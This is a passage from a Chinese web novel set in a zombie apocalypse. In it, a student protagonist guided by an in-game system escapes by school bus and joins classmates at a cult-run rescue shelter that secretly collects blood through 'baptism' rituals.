校车猛地向前一窜,铁皮与尸体碰撞的闷响此起彼伏,车头直接撞翻了数只丧尸,巨大的惯性将它们碾碎在轮下,鲜血与腐肉瞬间糊满了挡风玻璃。 温知初单手握着方向盘,另一只手抹去滑落到眼睫的血,视线沉静地往街道远处看。 挤挤攘攘,全部都是丧尸。 034号: [宿主,你会开车么? ] 温知初:“应该会。” 034号: [什么叫作应该会? ] “这是我第一次开车。”她低声道,“不过我看过别人开车。” 034号:[] 034号:[!] 校车从南门冲了出去,在血泊和残骸中艰难前行,方向盘被生涩地打滑,不过很快被逐渐熟悉开车的温知初重新稳定地掌握。 车头碾过碎裂的骨骼,震感从轮胎传至车厢,座椅跟着晃动。 两侧,破败的建筑如死物般矗立,街灯摇摇欲坠,晃动的阴影间,偶尔有游荡的丧尸猛地扑出,试图追上这辆不断穿行的校车。 校车避开聚集的丧尸群,尽量朝空旷的地方行驶,不过这样的地方显然很难找,只能先转着弯地不断调整方向。 大概三个小时后,校车这才缓慢地寻找了一个相对安全的地方。 是居民楼后门的一片空旷停车场。 这里的丧尸数量较少,外墙有烧灼痕迹,像是有人曾在此短暂据守过,随后被迫撤离。街道空旷,没有过多可供丧尸藏匿的阴影。 温知初缓缓踩下刹车。 车停稳了。 她靠着座椅往外看了两秒,侧头望向左侧。 晏逾明仍然昏迷着,他靠在椅背上,苍白让他的轮廓愈发淡漠,他的神情倒不显任何不适,更像是陷入了无意识的沉眠。 温知初垂眼,从背包里拿出水,倾斜水瓶,给晏逾明喂了些水。 布洛芬在出发前已经喂过了,似乎还没怎么起效。 沉默了片刻后,她站起身。 接下来,她需要封住破损的车窗和车门。 在背包里拿出一些在游泳馆场馆里带出来的安全绳,把破损的窗户缠紧,再用安全绳捆住门,延伸出来的绳子绑到附近座位的横杆上。 期间,[注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ]的声音不停响起。 034号叫道:[我就说这次男主跟过来绝对没好事。 ] 温知初站到车窗前:“他发烧了。” [宿主你是没发烧,]034号道,[但身体快没了。 ] [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药。 ] 已经太多次响起,而且响起的频率越来越高了。 四肢确实也快到一个临界点了。 034号:[宿主,别吃! ] 它道:[再这样下去,身体是绝对无法承受的,就算最后能从域里走出去,也可能醒不来。 ] 034号:[可恶,要不是因为男主,宿主你现在说不定已经自己走到救援点去了! ] 话没能说完,因为宿主已经把药片吞咽下去。 温知初平静地撑在座椅旁,望着车窗外的景色:“我没事。” 视野中,血从地面的四面八方往上蔓延,爬到了校车上,波动着上涨,沿着腿、腰、上半身、洪水般淹没到了口鼻。 眼睛变红,视野也是血红的。 疼痛感从后颈蔓延,如同攥碎所有骨骼般往四肢蔓延,喉咙泛着铁腥味,世界摇晃,鲜血淹没了视野,温知初的神情没有什么变化,不过身体生理性地往下倒,她伸手,想去拽座椅。 然而,下一秒,一只骨节分明的手撑在了她的后背。 过高的温度从校服衬衫传来。 晏逾明的另一只手撑在座椅上,脸因为高烧而苍白到近乎透明,站姿似乎摇摇晃晃的,不过撑住她的力道倒是很稳。 “班长…”嗓音低哑地传来。 晏逾明垂眼望着她:“到底你是病人,还是我是病人?” 第65章 飞鸟啼鸣着,已然是黄昏。 布洛芬起效了。 晏逾明恢复得很快,退烧后,几乎就和之前的状态没什么区别。 温知初更是看起来很正常, 单从外表看, 完全看不出生命体征的疼痛值因为药物的后遗症还在不断上升中。 两人坐在校车后排,静默着休息,温知初用摊开的《蜉蝣》遮住自己的上半张脸,后倚在座椅上。 沉默中,晏逾明的声音打破了这片沉寂。 “班长, ”他问, “你刚才为什么站不稳?” 他道:“第二次了吧?” 第一次是在游泳场馆内。 没有被书遮挡的嘴抿了抿,言简意赅:“低血糖。” 说完理由后, 温知初也没管对方信没信,继续闭目养神。 半空中有风声,尽管双眼闭着,温知初下意识地伸出手,接过了飞过来的袋子。 她捏着包装袋:“这是什么?” “面包。” “嗯。”温知初放在手上,“谢谢。” “没怎么看你吃过东西,班长,”晏逾明瞥着她,语气散漫, “你准备继续低血糖下去?” 温知初闻言, 顿了顿, 没掀开盖在上半张脸上的书, 保持原来的姿势撕面包袋,捏起面包平静地往嘴里塞。 晏逾明:“这么吃,你能看得见?” “嗯。”温知初道, “看得见。” 主要是不想让其他人看到她过于通红的双眼。 尤其是副班长。 034号感慨道:[这种吃饭的姿势,绝对妈见打爸见打,多不尊重这块小面包啊。 ] 温知初淡淡的:“我没有父母。” 034号:[……] 面包被吃完,温知初依旧后趟着:“这里离写字楼很近。” 晏逾明:“晚上过去?” 温知初略微颔首:“嗯。” · 傍晚八点,写字楼伫立在城市的黑暗中,外面的丧尸不知道因为什么原因暴动了,嘶吼和撞击的声音响彻夜色。 楼下的那些轿车被撞得车门倾翻,丧尸们从车里把尖叫的人往外拖。 与地面的嘈杂不同,写字楼的顶楼很安静。 顶楼大厅的灯被那四十几个普通市民关了,他们聚集在这里,每个人手上都拿了一个白色的蜡烛。 蜡烛的光微弱摇曳,在他们脸上投下忽明忽暗的影子,由于窗户被关上,空气中弥漫着潮湿的霉味和淡淡的蜡油气息。 他们将蜡烛放到一边,虔诚地跪在地上,进行祈祷,嘴里念念有词。 这场面实在太诡异,学生们纷纷避到一旁,不再在大厅待着。 原来这儿不是因为物资紧缺才不发放晚饭的,而是因为信徒们祈祷需要夜间禁食。 “不是,这有点儿夸张了吧。” 学生们倒也没怎么说得大声,毕竟这里是人家终焉教的救援点,人在屋檐下,安逸的环境很难得。 没人想得罪信徒被赶出去。 学生们分散在各处的办公室休息,把灯打开,把门也关上,不去听外面那些祈祷的念经声,似乎也就没那么诡异了。 没饭吃,没事儿做,几个学生各自找角落休息。 邱任望所在的那个房间里有五六个人,其中有一个不是学生,是之前在直升飞机上见过的救援人员。 这人现在没穿救援服,没戴头盔,穿的是便服,不过邱任望对人的长相过目不忘,一眼就认出了他。 他自来熟地坐到他身边:“叔,你不需要去祈祷么?” 男人抬眼看了他一眼,表情说不上来什么意思:“我还不够资格。” 不够资格… 有关这什么宗教的邱任望倒觉得不是最紧要的事儿,他没有深究,转移话题:“市议长还没有回来?” 听到这个问题,救援人员看了他一眼:“你很想见市议长?” 救援人员对他们这些学生的态度没有一开始那么亲切了,和邱任望说话的时候肢体语言上有轻微的戒备倾向,会双臂交叉在胸前。 “市议长天天在外面救援,一直很辛苦,大家都想见他,但都很难见到他,毕竟救援不是一件轻轻松松的事。”救援人员道,“你为什么想见市议长?” 邱任望:“大家都很崇敬市议长,想表达感谢。” 救援人员:“好,后面出外勤的时候,如果我遇到市议长,我会把你们的感谢告诉他的,他听到后肯定很高兴。” 邱任望还想问些什么,不过救援人员站起了身,一副不想久聊的样子,说自己还有事,干脆地离开了办公室。 邱任望看着这人的背影,略微侧了侧脑袋。 [这个救援人员就是将铭要验的那个人吧,确实看起来有些怪,会是敌方么? ] [说起怪,我觉得这整个写字楼都挺怪的,你说救援点吧,你看刚刚楼下有人遇难了也没见有人出去救援啊,而且那些被救援的市民根本一点儿都不普通,都是些信教徒,还有这宗教全都怪怪的,我现在看谁都像是敌方。 ] [难道现在只有我一个人担心市议长么? ] [你担心市议长干什么? ] [我是担心他如果一直在外面救援一直不回来, TRES的剧情目标要怎么完成! ] · 晚上十点,原本寂静的大厅终于结束了祷告,白烛撤了,灯也开了,那些市民离开宗教相关事宜,似乎又变正常了。 大厅里传来欢声笑语的声音,有人拿出零食,互相传着吃。 学生们听到外面没有那些念经的动静,从办公室里走出来,不为别的,大厅里有沙发椅,比睡在办公室里舒服。 市民和学生们聚在一起,没再聊宗教的事。 有个看起来很面善的阿姨把切好的橙子分给这些学生:“来,吃点儿。” 她道:“现在这种日子,抵抗力很容易降低,太容易生病,越是这样,我们也是得注意。” 就这样,抛却什么终焉教,大家还算融洽地交谈着。 这份融洽维持了有半个小时多,有些人已经躺在沙发椅上睡着了。 兀然一声“嘭”的动静,大厅的门被人用力推开,动静大得把睡着的人给吵醒。 时值十点四十,十几个穿着队服的救援人员走了进来,脚步沉沉地一排站到大厅前,视线严肃地扫向众人。 腰间竟然都别上了枪。 市民们立刻站起身,自动往前靠拢,他们似乎没觉得有什么奇怪的。 学生们愣住,疑惑地面面相觑。 这是…怎么了? “安静,全都站起来,聚在一起。”其中一名救援人员开口。 市民们早就井然有序地站成五排,学生们跟着站到这些市民的身后。 之前那个绘画行业的中年男人开口:“是要挑选人去明早的祈祷室接受洗礼么?” 他提高音调:“可以选我么?” 不少市民跟着开口。 “可以选我么?” “我愿意。” “我随时可以接受洗礼。” 和积极的市民不同,学生们都有些紧张。 祈祷、洗礼…什么祈祷,什么洗礼?挑选的人中也包括他们吗? 对于陌生的环境中发生的陌生的事,没人敢不戒备,不会是什么不好的事吧? 为首的救援人员抬手拍了拍墙壁:“别说话了。” 大厅再次陷入安静。 救援人员:“这次挑选标准,需要在十八岁以下,要年轻,也要身强体壮。” 十八岁以下?那不就是他们这群学生们么? 学生们本能地觉得不对劲,但是看了看这些救援人员腰间的枪,也不敢说什么。不少人偷偷地往后挪了挪,想藏在人群里。 什么意思…到底什么意思? 救援人员走到队伍里挑人,学生们纷纷低头,避开视线。 三班学委卢文于也低着头,余光看到救援人员走过来,他屏住呼吸,直到那脚步声远去,才稍稍松了一口气。 那救援人员却突然退到他身边:“就你了。” [卢文于? ] [三班学委? ] [选他? ] [这不是邱任望怀疑的查验人么? ] [那他是不是很大可能就可以被排除敌方的嫌疑了啊? ] [不知道啊,说实话虽然不知道祈祷室是什么,但肯定不是什么好事儿, ] 卢文于惊讶地往后退了几步:“我…我?” 他的第一反应是拒绝:“我能不能不去?” 其他市民听见这话,立马开口:“这可是好事儿啊。” “你不去的话,我们还想去呢!” “别推辞了,年轻人,去祈祷室真的是一件很幸运的事。” 语气中不乏羡慕的。 可卢文于又不是什么信徒。 “我、我身体不好,小时候生了很多病,现在身体也不是很好。”他据理力争,“我不合适。” 他一直辩解着,救援人员眯了眯眼,有人道:“你不去也行。” 卢文于愣了愣。 对方道:“不过,你不去,就是不尊重我们的宗教信仰。既然如此,离开这个救援点就行了。” 变相地在赶人离开。 是人都知道,如果单独走出这个写字楼,会是怎样的下场。 卢文于不知道该说些什么,刚才还很热心的市民,现在没一个人替他说话的,似乎觉得他的拒绝确实是对他们宗教的一种大不敬。 这个祈祷洗礼肯定不可能这么简单,写字楼处处透露着诡异,他一直没松口。 “别人想去都去不了,机会给你了,你得珍惜啊。”李奂壬站在后方,嗤笑了一声。 一旁的将铭面无表情地接过话:“那你怎么不去?” “这不是没选上我么?”李奂壬笑着。 救援人员已经不耐烦了,伸手抓住卢文于的肩膀,力道不小:“你到底去不去?” 卢文于被按得身子往下沉,挣脱不了,只能继续据理力争:“你们说要找身强体壮的,我身体又不好,你们挑我没用…” 话说到一半,兀然“砰!”的一声,窗户从外面被人打开了,动静大得跟玻璃要碎了一半。 大厅里所有人都被突如其来的巨响惊住,救援人员下意识地举起了枪,黑洞洞的枪口齐齐对准了窗户的方向,有人惊呼了一声。 玻璃窗被人从外面推开,一只指节分明的手稳稳地拽在窗沿上,紧接着,小臂作力,修长的身影从外面翻了进来。 潮湿的风从窗户外灌进来,温知初站在窗前,抬眼望向那些救援人员。 “选我怎么样?”她平静地开口,“我的身体,应该比他强些。” 第66章 “或者选我也行。” 窗台上多出一道高大修长的身影,晏逾明单手撑着窗沿,翻身而入,嗓音低沉而慵懒。 两人浑身上下都是血, 划落在窗前的地面上, 校服上往下淌的血很快在地面上形成滩小血泊。 不怪救援人员这么紧张,两人乍一看确实不像个人。 一时间, 所有人的视线都集中到突然出现的两人身上, 有些怀疑他们是不是看错了。 这是…这是十二楼啊! “他们两个是谁?”救援人员迟疑地放下枪。 “是我们的班长和副班长!”有学生立刻开口,语气里带着激动和不可置信。 卧槽!卧槽!是活着的! 有曾参与过学校救援的救援人员在队伍里, 他们盯向温知初和晏逾明, 回忆了下:“确实是那俩学生…” 市民们反应了过来,有热心的人递上了毛巾:“俩孩子…快擦擦。” 大家惊奇地望着两人:“你们怎么上来的?” “谢谢。”温知初温和地道谢, 她接过毛巾,包住不断往下滴血水的发尾, “攀上来的。” 市民们对他们的到来除了惊讶外,还是比较友善的:“你们这也太厉害了平安到达就好,主一定一路上都在保护你们。” 救援人员彼此交换了个眼神,全都放下枪。 其中一人点了点头:“真有些本事啊。” 他们走到窗边, 朝下看了看,写字楼外的墙壁和玻璃上有一路的血脚印,能看得出来时路。 ……牛逼。 有人问:“怎么不从一楼进来?” 晏逾明:“被封住了。” 说完后,他把没用过的毛巾随手盖在了温知初的脑袋上,温知初顿了顿,望向他。 “不爱用。”他垂眼望她, “你用。” 救援人员拿着对讲机,出去说了会儿话,最后重新进大厅。 “恭喜你们。”他道, “市议长同意接纳你们进入救援点。” “嗯。”温知初冷淡地抬眼,“多谢。” 两人的到来让大厅内严肃的气氛缓和了一些,站在卢文于身旁的救援人员用手肘顶了顶他的肩膀:“小子,你胆子怎么这么小,这么好的事让你去你都不愿意去,看吧,人家新来的都比你有觉悟。” 卢文于在救援人员的钳制下,对着温知初他们露出一个尴尬的笑。 “你不愿意去,”另一个救援人员道,“有人愿意去。” 之前分橙子的那个阿姨不知道从哪里捧来杯热巧克力,递到温知初手边:“刚冲的,你跟那个副班长一起分着吃吧,只有一杯了。” 温知初略微躬身接过了杯子:“谢谢。” 阿姨很细心,考虑到两个人没办法共同用一个杯子,重新拿来个纸杯,给他们分成同等的量。 “你们两个人说都愿意去祈祷室是吧。”为首的救援人员走到他们面前,眼神里不乏欣赏,“叫什么名字?” 温知初:“温知初。” 晏逾明没吭声。 班长再次开口:“他是晏逾明。” 救援人员的眼神在他们两人之前打转。 “行。”他的眼神最终定在副班长身上,“晏逾明是吧?就你了。” 温知初抬眼,想说些什么,身后的晏逾明一手拿着热巧克力,一手抚上她脑袋上的毛巾,用毛巾轻轻地捂住她的嘴。 “好。”他道,“明天什么时候?” “明天早上七点。”救援人员对着队员打了个手势,意思是可以撤退了,“到八楼祈祷室。” 救援人员交待好话后就离开了,离开之前留了新带来的水果给大家:“你们这群学生听话些,这些阿姨叔叔的都在照顾你们,记得不要太麻烦他们。” “还有,大厅不留宿,保持整洁,要睡回办公室里睡。” 说完,就走了。 大厅不让留宿,众人逐渐也散了,学生们走进不同的办公室,找地方休息。 夜深了,大厅的灯一排排被关。 直至彻底黑暗。 · 十一楼有淋浴间。 已经凌晨了,水声从淋浴间内传来,淋浴间内只开了一盏灯,昏昏沉沉的。 写字楼的供热系统早就坏了,没有热水,是冷水。 温知初站在淋浴头下,水冲刷着血迹,水珠顺着发丝滴落,沿着下颌滑下,砸进瓷砖地面。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药] 光影照在冷淡的侧脸,除此之外,这里安静无比。 温知初垂着眼,似乎在思考着什么。 [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药] [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药] [注意关键事件节点:当忍耐不住疼痛的时候,班长会服药] …… 电子提示音重叠地响起。 [宿主… ]034号不知道说些什么。 它看着那居高不下的疼痛值,又看着宿主已经下降到5的耐心值。 人类的平均耐心值是7 ,宿主从原来的满值到现在,除了陈付讫那次,倒是没看出有什么太大的差别。 虽说耐心值很低,但依旧耐心地忍受着疼痛。 水流声逐渐停了,修长的身影走出来,换上衣服,她走到窗边,深黑的双眼望着窗外的城市。 潮湿的风在窗外吹着,温知初侧脸的发丝轻微地拂动。 每当这种时候,034号会尤其担心宿主会如同这飘渺的夜雾般散去。 毕竟她的来处与归处,始终无人知晓。 [宿主, ]034号问, [你在看什么? ] 温知初望着这座沦陷的城市,缓缓地吐出一口气。 “深渊。” · 晨光亮起,不知不觉已经是清晨七点。 今天是TRES队员进入域的第三天。 写字楼的八楼,救援人员打开祈祷室的门,对门前的晏逾明道:“请。” 高大修长的身影走进去后,厚重的铁门阖上。 门外传来救援人员的声音:“需要祷告4 个小时,4个小时后我们再来开门。” 临时搭建的祈祷室宽敞而静谧,墙面是米色的,空气着有轻微的香味,房间里书很多,有三四排书墙,上面摆放的都是宗教相关的书。 里面有五个人。 五位神父静坐在长椅上,低声祈祷,脸上戴着木质的面具,面具上是和蔼而慈悲的笑。 晏逾明走进来后,这五位神父没有动静,没有主动说什么,他挑了挑眉,坐到长椅上靠近书墙的位置,慵懒地后倚,似乎对所谓的洗礼毫不在意。 他没有翻阅书页,也没有加入低声祈祷的行列,只是静静地坐着,沉默地望着前方,眼神里带着点若有所思的意味。 时间流逝,钟摆声敲响,代表一个小时的流逝。 这时,五名神父起身,袍角扫过地面,他们走到晏逾明面前。 其中一人端着银色的盘子,银盘上摆的不是什么圣水,而是一支针筒。 “这位小兄弟,”神父道,“感谢你愿意和我们一起进行祈祷。” “对于所有初次进行祈祷洗礼的人,我们需要抽一管血,来验证他的身份适合侍奉我们仁慈的主。”他道,“能否请您伸出你的手臂。 很冒昧而荒唐的请求。 晏逾明依旧保持着后倚的姿势:“难道我可以拒绝?” 神父们没有动静,木质面具上的笑容依旧和善。 这是一种无声的威胁。 骨节分明的手指轻敲着椅背,晏逾明似乎在衡量什么。其实硬闯出去并不是一件很难的事,但不知他想到了什么,最终淡漠地笑了声,抬起手臂:“既然是你们的规矩,那就入乡随俗吧。” “主会保佑你的。”神父道。 针尖穿透皮肤,鲜红的血液缓缓流入针管,神父们动作娴熟,仿佛进行过无数次这样的“仪式”。抽完血后,他们收起盘子,带着副班长的血走向祈祷室后方的一扇门,消失在门后。 晏逾明依旧坐在原处,百无聊赖地等着。祈祷室内一片静谧,只有烛火在晃动。 大约两个小时后,那扇门再次打开。 神父们走到他面前,语气里带着些许遗憾:“对不起,验证结果出来了,你和我们终焉教似乎没有缘。” 晏逾明闻言,漫不经心地抬眼:“那还真是可惜…” 神父们没有接这句话,端起银盘,这次银盘上装的是圣水。 圣不圣不知道,起码是水,不是针筒。 “虽然如此,”神父道,“我们还是会为您进行一次祷告式的洗礼。” 他轻轻洒下清澈的圣水,冰凉的水滴在副班长的肩头和手背,象征着仪式的结束。 “洗礼完毕了。”神父们低声道,“你可以离开了。以后有缘,还会再见面的。” · “所以会抽血?” 门封住的办公室内,TRES的队员们围坐在一起。 邱任望问:“他们要血干什么?” 换了个场所待着的优点体现出来了,以前在游泳场馆的时候,到处都是学生,队员们很难找到远离人群的地方单独待着,聚在一起讨论行动的时候还得开“剧情脱离”权限。 现在写字楼这么大,人群都分散了,那群学生也被普通市民们分散了注意力,办公室多、门又多,只要关上门,这整个房间就是属于他们TRES的。 不过各自都有剧情节点和人物设定,聚在一起的时间大约也就二三十分钟。 所以邱任望长话短说:“这个救援点在通过祈祷室收集人的血液样本,想要做些什么事。” 当然,不止一个救援点。 “我问过其他市民了。”温知初开口,“入会的信徒们在初次洗礼时全都抽过血,无一例外,这是终焉会的规矩。” 那些市民会很骄傲地说他们流淌的血得到了主的应允,能够加入终焉教,对于晏逾明无法入教的消息,他们感到遗憾。 “血…”章诎低声念着。 这是个丧尸世界,发散来想,和血有关的无非就是要么和丧尸病毒有关,要么和解决丧尸病毒有关。 终焉会三十年前就存在了。 邱任望:“所以终焉会是在制造丧尸病毒之类的?不过现在不都爆发了么,他们还要这些血液样本干什么?还专门把这些入会的人都聚集在了一起?” 屈孚宁:“倒也有可能是行事强硬的好人方,不是制作丧尸病毒,而是制作丧尸病毒的解药之类的。” “事情的真相对我们来说不是很重要。”将铭道,“现在比较重要的是我们卡住的剧情任务。” 将铭抬起终端:“十二点了,我这边的查验结果出来了,查验的那个救援人员不是敌方。” 邱任望也抬起终端:“我这边也出来了,卢文于…不是。” [全部都不是? ] [不是,这怎么验啊,敌方藏得这么好么?两个看起来比较异常的都不是。 ] [那还能有谁是? ] 邱任望用手指抵着下巴:“有种被耍的感觉…” 章诎:“下一步你准备怎么办?” 邱任望:“要不要,把目光放到好人里面,放到那些从来没有破绽的人里面?” “比如?”章诎问。 “陈玉清、储见仲、校医之类的。”邱任望道。 这些人都陪伴他们经历过三轮域了,如果中间有人是敌方的,真的会让人起鸡皮疙瘩。 “但也很有可能不是。”邱任望耸了耸肩,“没办法,权限少,样本量大,现在剧情样本扩大到七八十个人,我和将铭两个人验不过来。” 心有余而权限不足。 经历过一番讨论后,邱任望和将铭最后敲定彼此的分工。 一个人去验陈玉清,另一个人保守点,去验市民堆里那个绘画行业的中年男人。 这件事敲定后,章诎开口:“还有一件事,大家也知道,我们还有另外一个被卡住的剧情目标。” 市议长。 市议长一直不出现,他们见不到市议长,那么第二个剧情目标永远完成不了。 他们的精神力在不断的损耗中,耗不起。 “得有人出去找。”邱任望道,“这个拖不下去。” 可外面这么大…从何找起? 章诎:“我用过一次地图权限了,上面能显现关键剧情人物的地点,市议长的位置在一公里之内。” 以一公里为半径画成一个圆,这个圆内,有市议长存在。 “所以…”章诎问,“得有人出去找市议长,我们中,有人的角色设定是能允许出外的吗?” 他们不能再在这个写字楼里等下去了,必须要主动找出市议长。 章诎:“我不行,我出不去。” “我也是…”邱任望道,“我这个人设比较好吃懒做,不敢出去的。” 屈孚宁:“我和Yu哥,都是比较孤僻的人物设定,没事不会主动出去干些什么。” 晏逾明后背倚在墙上,眼神缓慢地移到了温知初身上。 剩下的,只有将铭和温知初。 将铭:“我可以。” 温知初:“我也可以。” “两个人差不多也行。”章诎顿了顿,点头,“也能互相照应。” 他道:“今天晚上,找机会,你们两个得离开。” 三十分钟过去,各自都有关键事件节点响起,TRES的队员们站起身,准备离开这里。 办公室的玻璃门被打开,队员们往外走。 晏逾明没有事件节点,懒散地坐在椅子上,没有离开。 温知初往外走,身后响起声音。 “班长。”身后响起声音。 温知初停下脚步,转身望向他。 晏逾明:“我渴了,帮我拿一瓶水。” 温知初的脚旁,有一箱矿泉水。 温知初躬身,拿起一瓶矿泉水:“我记得你的发烧已经好了。” 低沉的声音散漫:“没好全。” 她走近,把瓶盖拧开,递到他手前。 “谢了。”副班长抬起手,伸向那瓶矿泉水,骨节分明的手却在半途绕开,拽在温知初的手腕上。 猝不及防。 手腕上的袖子被撩开,冰凉的手指摸到一层结痂的痕迹。 一道道痕迹显露在空气中。 办公室内陷入片刻的凝滞。 晏逾明抬眼:“这就是你说的低血糖?” 温知初平静地垂眼,把矿泉水放下,收回了自己的手腕:“不是很重要的事。” 晏逾明的眼神定在温知初的脸上,带着不明的情绪。 “温知初。” 这次他喊的不是班长,是她的名字。 他望着她,眼神似乎与从前不同了,却无法辨认出到底不同在哪里:“出去后,我们好好聊聊。” 第67章 写字楼内温度不算高,尤其是现在的大厅,窗户开着,今天降温了,风吹进来很清凉,甚至有些类似秋天的冷。 离开办公室后,温知初随众地坐下,安静地开始吃饭,今天吃土豆汤。 “小姑娘。”坐在一旁的阿姨道,“我们正好又坐在一起。” 是那位热心分橙子、热巧克力的阿姨。 喊阿姨其实有些把人辈分给喊小了, 阿姨大概五十岁左右的年龄, 眉眼笑眯眯的,她道:“可以叫我罗姨。” 罗姨把切好水果的饭盒打开, 递到中间:“我们可以一起吃。” 温知初略微颔首致谢。 罗姨有些好奇地望向温知初:“小姑娘,你是不是刚从办公室里出来,那里是很热么,你的耳朵怎么这么红?” “红…”温知初顿了顿,放下汤勺,“红吗?” 罗姨:“耳尖很红。” 温知初不自然地移开视线,将卫衣帽子拉起来,遮挡住自己发红的耳朵:“可能确实是办公室里的温度太高了。” “也有可能是上火了。”罗姨把水果夹到温知初的盘子上,“吃吧, 别跟我客气。” 温知初再次致谢, 吃完后起身离开。 一整盒的水果, 罗姨自己没吃多少, 一直都在分给周围的人。 “喂,老太婆。”坐在远处的李奂壬道,“也给我来点儿呗。” 他翘着二郎腿。 罗姨热心, 也没犹豫,站起来,亲自把饭盒给送过去了:“小同学,这是叉子,可以用叉子吃。” 李奂壬没用叉子,直接用手拿着吃,手指在饭盒里挑挑拣拣,最后挑了块苹果往嘴里塞,嚼了几下,皱起眉。 “呸。”他把苹果直接往地上吐,“什么水果这么酸!” 他朝罗姨看:“你这挑的什么水果,不会加了什么不好的东西吧?” 罗姨摇手,自己拿了一块吃:“这位小同学,我怎么可能会做这种不好的事,水果是没有问题的,其他人吃了也没有事,可能是这块有些酸,你再吃吃其他的。” 李奂壬又拿了块橙子,啃了一口后直接扔了:“还是太酸。” 他干脆用手抓起饭盒里的水果,一个个地都只啃一口,然后扔回去:“怎都这么难吃。” 水果在现在是很珍贵的食物,看到李奂壬这么做,罗姨有些着急地开口:“如果你不喜欢吃的话能不能把饭盒还给我,现在食物很珍贵,我们不能浪费…” “这么酸你拿给其他人也没人吃的。”李奂壬冷笑道,“我看你食物这么多,帮你解决掉点儿不是挺好的么?” 李奂壬这么说着,手伸向罗姨的另一个饭盒:“这里面是什么,我看看…” 伸出的手被另一只手给拍开。 将铭把两个饭盒全都推回罗姨跟前。 李奂壬“砰”得一声站了起来,将铭站到他对面,两人不相让地瞪着对方,此时,将铭朝后面喊了一声:“班长?” 李奂壬下意识地转头看,后面空无一人,再转回头时,将铭和罗姨都不见了。 “耍我?”李奂壬冷笑了一声,用力地踹了声椅子。 周围的学生们皱了皱眉,终究没说什么。 大厅外,罗姨朝将铭道谢,想给他分食物,被将铭婉拒了。 “没事。”将铭摆手,“阿姨,我不饿。” 他看着罗姨,表情有点儿说不上来。 熟悉将铭的人也许能知道,他是想起自己的母亲了。 他的妈妈如果还活着,大概正是罗姨这个年龄,也是一样的热心肠。 他把饭盒塞到罗姨手上:“阿姨,有的时候不要对不好的人太好,他们不会感恩的,也不会被救赎的。” 他道:“以后李奂壬他们几个,您最好避开走比较好。” “谢谢你,将同学。”罗姨笑了笑,而后又略微摇摇头,“不过…我还是相信,主会原谅所有罪恶的。” · 与此同时的十一楼,温知初走出了更衣室,换了身行头,斜挎着背包。 这背包在进更衣室之前还是空无一物,走出来后,装得满满当当。 在楼梯口的时候,她和下楼的将铭汇合,一起去七楼。 救援人员的宿舍在七楼,去那里能找到人。 两人下着楼,楼道里的灯忽明忽暗的,有些接触不良。 将铭望向温知初的背包:“班长,你的背包里装得什么东西,这么多?” 温知初:“出去后再跟你说。” 两人还不能立即离开写字楼。 毕竟有人物设定的限定,他们没办法硬闯出去,或者默不作声地离开。 对于这个相对安全的写字楼,他们必须要一个合乎剧情逻辑的理由,才能顺理成章地离开。 七楼的几位救援人员听到了两人想要离开的诉求,先是惊讶,然后是不解。 救援人员:“你们说真的?这种情况下,你们竟然想出去?” 将铭:“主要是我们在外面有家人要寻找,不能不出去。” “就你们两个人出去,跟送死有什么区别?”救援人员问。 将铭:“那我们也不能抛弃家人,要不然就算活着,也活不安分。” 救援人员:“你们有没有想过,如果你们的家人已经死在外面怎么办?” 将铭:“有万分之一的可能性还活着,我们就不会放弃。” 救援人员对视了几眼,看两人去意已决,转言道:“我们是没什么意见,反正你们也是主动出去的…但在此之前我要打电话问下队长。” 其中一位救援人员给队长打了个电话,那里信号不太好,声音断断续续地传来,很嘈杂。 “什么,要走?” “是。” “啧…” 对面沉默了一会儿:“给他们办手续。” 救援人员应了好,把电话放下了。 “队长批准了。”救援人员道。 将铭:“是需要什么手续?” 救援人员:“不是什么其他手续,是我们终焉教的一种仪式,离开之前,都要接受一次祈祷洗礼。你们不介意吧?” 说的好听是祈祷洗礼,说的难听是抽你两管血。 受限于人物设定,两人暂时应允了。 先按照流程走。 “好。” “那行,你们晚上出去。”救援人员挂了电话,“我给你们一个冷静期,如果晚上你们还想出去的话,就去八楼的祈祷室。” 将铭:“我们到时候怎么走?” “一楼封住了。”救援人员道,“但是二楼正常使用,你们从二楼翻下去。” 二人道别后离开。 七楼的办公室里,聚在一起的救援人员有四五个,其他的人都出外援了,他们沉浸在刚才的对话里,面面相觑。 “活久见了,这年头竟然还能看到主动出去的。” “你能理解吗?” “反正我没办法理解。” · 这血不能抽,抽了说不定两个人就出不去了。 人物设定和剧情设定又限制诸多,唯一的办法,就是利用剧情脱离的权限。 这一轮章诎的剧情任务有限,最多也只有半个小时的剧情脱离时间, TRES的队员们经过了简短的讨论后,确实觉得用在让温、将两人离开上比较好,便兑换了。 却也不能直接在剧情脱离期间直接离开。 逃走会给留在写字楼的学生和队员们造成一定的负面影响,那些救援人员发现他们没有被抽血就走了说不定会牵罪于其他人。 邱任望弄来些假血,两人利用剧情脱离时间把血调换过后再离开,以防万一。 大概晚上十点的时候,写字楼的二楼翻出去了两个人。 这注定不是个安宁的夜晚,写字楼外的丧尸因为有人翻了出来而暴动,而写字楼的顶楼也出现了争吵。 救援人员跟昨晚一样,来顶楼挑学生去祈祷室,这次甚至不只挑一个人,一下要挑三个。 由是闹起来了。 学生不理解他们又不是信徒,为什么一定要进去进行洗礼,市民也不理解这么好多的事儿学生们为什么不接受,而且这些学生明明是受恩方为什么这么多要求,多番劝告,声音大了些。 口角中,有人趁乱作弄。 李奂壬把罗姨推倒在地上,罗姨额头撞桌角上了,额头上往下渗血。 [卧槽,李奂壬搞事。 ] [敌方绝对故意的,要不就是剧情任务,本来只是口角的,这下好了,矛盾一下升级了。 ] 其他市民赶紧围到罗姨身边,拿手绢给罗姨止血。 “说话就好好说话,你们怎么能动手!还把人弄伤了!” “出血了!” 李奂壬耸耸肩,一幅自己不是有意的模样。 救援人员走过来,嚷嚷着呵退了学生,让人把罗姨送下去治疗。 罗姨走之前还在给李奂壬说话,说这位小同学也不是故意的,不要重罚他,李奂壬站在人群中,满不在乎地翻了个白眼:“真把自己当菩萨了。” 事情闹这么大,学生们全都不敢出声,低埋着头。 他们本来没想闹,只是想为自己争取点话语权,不想去八楼抽什么血,但是没想到李奂壬把这里的市民给弄伤了。 “很好!”救援人员的吼声从八楼都能听到,“我们就救了这么一群白眼狼!” 他们瞪着这群学生。 